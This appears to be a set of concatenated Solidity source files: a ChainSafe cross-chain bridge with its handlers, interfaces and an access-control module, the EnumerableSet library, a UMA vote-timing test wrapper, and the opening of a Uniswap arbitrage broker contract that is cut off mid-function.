@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetGenericResource(
address handlerAddress,
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IGenericHandler handler = IGenericHandler(handlerAddress);
handler.setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice Sets a resource as burnable for handler contracts that use the IERCHandler interface.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetBurnable(address handlerAddress, address tokenAddress) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.setBurnable(tokenAddress);
}
/**
@notice Returns a proposal.
@param originChainID Chain ID deposit originated from.
@param depositNonce ID of proposal generated by proposal's origin Bridge contract.
@param dataHash Hash of data to be provided when deposit proposal is executed.
@return Proposal which consists of:
- _dataHash Hash of data to be provided when deposit proposal is executed.
- _yesVotes Number of votes in favor of proposal.
- _noVotes Number of votes against proposal.
- _status Current status of proposal.
*/
function getProposal(
uint8 originChainID,
uint64 depositNonce,
bytes32 dataHash
) external view returns (Proposal memory) {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(originChainID);
return _proposals[nonceAndID][dataHash];
}
/**
@notice Changes deposit fee.
@notice Only callable by admin.
@param newFee Value {_fee} will be updated to.
*/
function adminChangeFee(uint256 newFee) external onlyAdmin {
require(_fee != newFee, "Current fee is equal to new fee");
_fee = newFee;
}
/**
@notice Used to manually withdraw funds from ERC safes.
@param handlerAddress Address of handler to withdraw from.
@param tokenAddress Address of token to withdraw.
@param recipient Address to withdraw tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to withdraw.
*/
function adminWithdraw(
address handlerAddress,
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.withdraw(tokenAddress, recipient, amountOrTokenID);
}
/**
@notice Initiates a transfer using a specified handler contract.
@notice Only callable when Bridge is not paused.
@param destinationChainID ID of chain deposit will be bridged to.
@param resourceID ResourceID used to find address of handler to be used for deposit.
@param data Additional data to be passed to specified handler.
@notice Emits {Deposit} event.
*/
function deposit(
uint8 destinationChainID,
bytes32 resourceID,
bytes calldata data
) external payable whenNotPaused {
require(msg.value == _fee, "Incorrect fee supplied");
address handler = _resourceIDToHandlerAddress[resourceID];
require(handler != address(0), "resourceID not mapped to handler");
uint64 depositNonce = ++_depositCounts[destinationChainID];
_depositRecords[depositNonce][destinationChainID] = data;
IDepositExecute depositHandler = IDepositExecute(handler);
depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data);
emit Deposit(destinationChainID, resourceID, depositNonce);
}
/**
@notice When called, {msg.sender} will be marked as voting in favor of proposal.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data provided when deposit was made.
@notice Proposal must not have already been passed or executed.
@notice {msg.sender} must not have already voted on proposal.
@notice Emits {ProposalEvent} event with status indicating the proposal status.
@notice Emits {ProposalVote} event.
*/
function voteProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 resourceID,
bytes32 dataHash
) external onlyRelayers whenNotPaused {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(_resourceIDToHandlerAddress[resourceID] != address(0), "no handler for resourceID");
require(uint256(proposal._status) <= 1, "proposal already passed/executed/cancelled");
require(!_hasVotedOnProposal[nonceAndID][dataHash][msg.sender], "relayer already voted");
if (uint256(proposal._status) == 0) {
++_totalProposals;
_proposals[nonceAndID][dataHash] = Proposal({
_resourceID: resourceID,
_dataHash: dataHash,
_yesVotes: new address[](1),
_noVotes: new address[](0),
_status: ProposalStatus.Active,
_proposedBlock: block.number
});
proposal._yesVotes[0] = msg.sender;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Active, resourceID, dataHash);
} else {
if (block.number.sub(proposal._proposedBlock) > _expiry) {
// if the number of blocks that has passed since this proposal was
// submitted exceeds the expiry threshold set, cancel the proposal
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, resourceID, dataHash);
} else {
require(dataHash == proposal._dataHash, "datahash mismatch");
proposal._yesVotes.push(msg.sender);
}
}
if (proposal._status != ProposalStatus.Cancelled) {
_hasVotedOnProposal[nonceAndID][dataHash][msg.sender] = true;
emit ProposalVote(chainID, depositNonce, proposal._status, resourceID);
// If _depositThreshold is set to 1, then auto finalize
// or if _relayerThreshold has been exceeded
if (_relayerThreshold <= 1 || proposal._yesVotes.length >= _relayerThreshold) {
proposal._status = ProposalStatus.Passed;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Passed, resourceID, dataHash);
}
}
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data originally provided when deposit was made.
@notice Proposal must be past expiry threshold.
@notice Emits {ProposalEvent} event with status {Cancelled}.
*/
function cancelProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) public onlyAdminOrRelayer {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Cancelled, "Proposal already cancelled");
require(block.number.sub(proposal._proposedBlock) > _expiry, "Proposal not at expiry threshold");
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, proposal._resourceID, proposal._dataHash);
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param resourceID ResourceID to be used when making deposits.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param data Data originally provided when deposit was made.
@notice Proposal must have Passed status.
@notice Hash of {data} must equal proposal's {dataHash}.
@notice Emits {ProposalEvent} event with status {Executed}.
*/
function executeProposal(
uint8 chainID,
uint64 depositNonce,
bytes calldata data,
bytes32 resourceID
) external onlyRelayers whenNotPaused {
address handler = _resourceIDToHandlerAddress[resourceID];
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
bytes32 dataHash = keccak256(abi.encodePacked(handler, data));
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Inactive, "proposal is not active");
require(proposal._status == ProposalStatus.Passed, "proposal already transferred");
require(dataHash == proposal._dataHash, "data doesn't match datahash");
proposal._status = ProposalStatus.Executed;
IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]);
depositHandler.executeProposal(proposal._resourceID, data);
emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash);
}
/**
@notice Transfers eth in the contract to the specified addresses. The parameters addrs and amounts are mapped 1-1.
This means that the address at index 0 for addrs will receive the amount (in WEI) from amounts at index 0.
@param addrs Array of addresses to transfer {amounts} to.
@param amounts Array of amonuts to transfer to {addrs}.
*/
function transferFunds(address payable[] calldata addrs, uint256[] calldata amounts) external onlyAdmin {
for (uint256 i = 0; i < addrs.length; i++) {
addrs[i].transfer(amounts[i]);
}
}
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity ^0.6.0;
/**
@title Interface for handler contracts that support deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IDepositExecute {
/**
@notice It is intended that deposit are made using the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of additional data needed for a specific deposit.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external;
/**
@notice It is intended that proposals are executed by the Bridge contract.
@param data Consists of additional data needed for a specific deposit execution.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for Bridge contract.
@author ChainSafe Systems.
*/
interface IBridge {
/**
@notice Exposing getter for {_chainID} instead of forcing the use of call.
@return uint8 The {_chainID} that is currently set for the Bridge contract.
*/
function _chainID() external returns (uint8);
}
pragma solidity ^0.6.0;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author ChainSafe Systems.
*/
interface IERCHandler {
/**
@notice Correlates {resourceID} with {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function setResource(bytes32 resourceID, address contractAddress) external;
/**
@notice Marks {contractAddress} as mintable/burnable.
@param contractAddress Address of contract to be used when making or executing deposits.
*/
function setBurnable(address contractAddress) external;
/**
@notice Used to manually release funds from ERC safes.
@param tokenAddress Address of token contract to release.
@param recipient Address to release tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release.
*/
function withdraw(
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for handler that handles generic deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IGenericHandler {
/**
@notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external;
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IGenericHandler.sol";
/**
@title Handles generic deposits and deposit executions.
@author ChainSafe Systems.
@notice This contract is intended to be used with the Bridge contract.
*/
contract GenericHandler is IGenericHandler {
address public _bridgeAddress;
struct DepositRecord {
uint8 _destinationChainID;
address _depositer;
bytes32 _resourceID;
bytes _metaData;
}
// depositNonce => Deposit Record
mapping(uint8 => mapping(uint64 => DepositRecord)) public _depositRecords;
// resourceID => contract address
mapping(bytes32 => address) public _resourceIDToContractAddress;
// contract address => resourceID
mapping(address => bytes32) public _contractAddressToResourceID;
// contract address => deposit function signature
mapping(address => bytes4) public _contractAddressToDepositFunctionSignature;
// contract address => execute proposal function signature
mapping(address => bytes4) public _contractAddressToExecuteFunctionSignature;
// token contract address => is whitelisted
mapping(address => bool) public _contractWhitelist;
modifier onlyBridge() {
_onlyBridge();
_;
}
function _onlyBridge() private {
require(msg.sender == _bridgeAddress, "sender must be bridge contract");
}
/**
@param bridgeAddress Contract address of previously deployed Bridge.
@param initialResourceIDs Resource IDs used to identify a specific contract address.
These are the Resource IDs this contract will initially support.
@param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be
called to perform deposit and execution calls.
@param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {deposit}
@param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {executeProposal}
@dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures},
and {initialExecuteFunctionSignatures} must all have the same length. Also,
values must be ordered in the way that that index x of any mentioned array
must be intended for value x of any other array, e.g. {initialContractAddresses}[0]
is the intended address for {initialDepositFunctionSignatures}[0].
*/
constructor(
address bridgeAddress,
bytes32[] memory initialResourceIDs,
address[] memory initialContractAddresses,
bytes4[] memory initialDepositFunctionSignatures,
bytes4[] memory initialExecuteFunctionSignatures
) public {
require(
initialResourceIDs.length == initialContractAddresses.length,
"initialResourceIDs and initialContractAddresses len mismatch"
);
require(
initialContractAddresses.length == initialDepositFunctionSignatures.length,
"provided contract addresses and function signatures len mismatch"
);
require(
initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length,
"provided deposit and execute function signatures len mismatch"
);
_bridgeAddress = bridgeAddress;
for (uint256 i = 0; i < initialResourceIDs.length; i++) {
_setResource(
initialResourceIDs[i],
initialContractAddresses[i],
initialDepositFunctionSignatures[i],
initialExecuteFunctionSignatures[i]
);
}
}
/**
@param depositNonce This ID will have been generated by the Bridge contract.
@param destId ID of chain deposit will be bridged to.
@return DepositRecord which consists of:
- _destinationChainID ChainID deposited tokens are intended to end up on.
- _resourceID ResourceID used when {deposit} was executed.
- _depositer Address that initially called {deposit} in the Bridge contract.
- _metaData Data to be passed to method executed in corresponding {resourceID} contract.
*/
function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) {
return _depositRecords[destId][depositNonce];
}
/**
@notice First verifies {_resourceIDToContractAddress}[{resourceID}] and
{_contractAddressToResourceID}[{contractAddress}] are not already set,
then sets {_resourceIDToContractAddress} with {contractAddress},
{_contractAddressToResourceID} with {resourceID},
{_contractAddressToDepositFunctionSignature} with {depositFunctionSig},
{_contractAddressToExecuteFunctionSignature} with {executeFunctionSig},
and {_contractWhitelist} to true for {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external override onlyBridge {
_setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice A deposit is initiatied by making a deposit in the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of: {resourceID}, {lenMetaData}, and {metaData} all padded to 32 bytes.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 64 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToDepositFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external onlyBridge {
bytes32 lenMetadata;
bytes memory metadata;
assembly {
// Load length of metadata from data + 64
lenMetadata := calldataload(0xC4)
// Load free memory pointer
metadata := mload(0x40)
mstore(0x40, add(0x20, add(metadata, lenMetadata)))
// func sig (4) + destinationChainId (padded to 32) + depositNonce (32) + depositor (32) +
// bytes length (32) + resourceId (32) + length (32) = 0xC4
calldatacopy(
metadata, // copy to metadata
0xC4, // copy from calldata after metadata length declaration @0xC4
sub(calldatasize(), 0xC4) // copy size (calldatasize - (0xC4 + the space metaData takes up))
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToDepositFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metadata);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
_depositRecords[destinationChainID][depositNonce] = DepositRecord(
destinationChainID,
depositer,
resourceID,
metadata
);
}
/**
@notice Proposal execution should be initiated when a proposal is finalized in the Bridge contract.
@param data Consists of {resourceID}, {lenMetaData}, and {metaData}.
@notice Data passed into the function should be constructed as follows:
len(data) uint256 bytes 0 - 32
data bytes bytes 32 - END
@notice {contractAddress} is required to be whitelisted
@notice If {_contractAddressToExecuteFunctionSignature}[{contractAddress}] is set,
{metaData} is expected to consist of needed function arguments.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external onlyBridge {
bytes memory metaData;
assembly {
// metadata has variable length
// load free memory pointer to store metadata
metaData := mload(0x40)
// first 32 bytes of variable length in storage refer to length
let lenMeta := calldataload(0x64)
mstore(0x40, add(0x60, add(metaData, lenMeta)))
// in the calldata, metadata is stored @0x64 after accounting for function signature, and 2 previous params
calldatacopy(
metaData, // copy to metaData
0x64, // copy from calldata after data length declaration at 0x64
sub(calldatasize(), 0x64) // copy size (calldatasize - 0x64)
)
}
address contractAddress = _resourceIDToContractAddress[resourceID];
require(_contractWhitelist[contractAddress], "provided contractAddress is not whitelisted");
bytes4 sig = _contractAddressToExecuteFunctionSignature[contractAddress];
if (sig != bytes4(0)) {
bytes memory callData = abi.encodePacked(sig, metaData);
(bool success, ) = contractAddress.call(callData);
require(success, "delegatecall to contractAddress failed");
}
}
function _setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) internal {
_resourceIDToContractAddress[resourceID] = contractAddress;
_contractAddressToResourceID[contractAddress] = resourceID;
_contractAddressToDepositFunctionSignature[contractAddress] = depositFunctionSig;
_contractAddressToExecuteFunctionSignature[contractAddress] = executeFunctionSig;
_contractWhitelist[contractAddress] = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../interfaces/VotingInterface.sol";
import "../VoteTiming.sol";
// Wraps the library VoteTiming for testing purposes.
contract VoteTimingTest {
using VoteTiming for VoteTiming.Data;
VoteTiming.Data public voteTiming;
constructor(uint256 phaseLength) public {
wrapInit(phaseLength);
}
function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) {
return voteTiming.computeCurrentRoundId(currentTime);
}
function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingAncillaryInterface.Phase) {
return voteTiming.computeCurrentPhase(currentTime);
}
function wrapInit(uint256 phaseLength) public {
voteTiming.init(phaseLength);
}
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/lib/contracts/libraries/Babylonian.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/lib/contracts/libraries/FullMath.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
/**
* @title UniswapBroker
* @notice Trading contract used to arb uniswap pairs to a desired "true" price. Intended use is to arb UMA perpetual
* synthetics that trade off peg. This implementation can ber used in conjunction with a DSProxy contract to atomically
* swap and move a uniswap market.
*/
contract UniswapBroker {
using SafeMath for uint256;
/**
* @notice Swaps an amount of either token such that the trade results in the uniswap pair's price being as close as
* possible to the truePrice.
* @dev True price is expressed in the ratio of token A to token B.
* @dev The caller must approve this contract to spend whichever token is intended to be swapped.
* @param tradingAsEOA bool to indicate if the UniswapBroker is being called by a DSProxy or an EOA.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param uniswapFactory address of the uniswap factory used to fetch current pair reserves.
* @param swappedTokens array of addresses which are to be swapped. The order does not matter as the function will figure
* out which tokens need to be exchanged to move the market to the desired "true" price.
* @param truePriceTokens array of unit used to represent the true price. 0th value is the numerator of the true price
* and the 1st value is the the denominator of the true price.
* @param maxSpendTokens array of unit to represent the max to spend in the two tokens.
* @param to recipient of the trade proceeds.
* @param deadline to limit when the trade can execute. If the tx is mined after this timestamp then revert.
*/
function swapToPrice(
bool tradingAsEOA,
address uniswapRouter,
address uniswapFactory,
address[2] memory swappedTokens,
uint256[2] memory truePriceTokens,
uint256[2] memory maxSpendTokens,
address to,
uint256 deadline
) public {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
// true price is expressed as a ratio, so both values must be non-zero
require(truePriceTokens[0] != 0 && truePriceTokens[1] != 0, "SwapToPrice: ZERO_PRICE");
// caller can specify 0 for either if they wish to swap in only one direction, but not both
require(maxSpendTokens[0] != 0 || maxSpendTokens[1] != 0, "SwapToPrice: ZERO_SPEND");
bool aToB;
uint256 amountIn;
{
(uint256 reserveA, uint256 reserveB) = getReserves(uniswapFactory, swappedTokens[0], swappedTokens[1]);
(aToB, amountIn) = computeTradeToMoveMarket(truePriceTokens[0], truePriceTokens[1], reserveA, reserveB);
}
require(amountIn > 0, "SwapToPrice: ZERO_AMOUNT_IN");
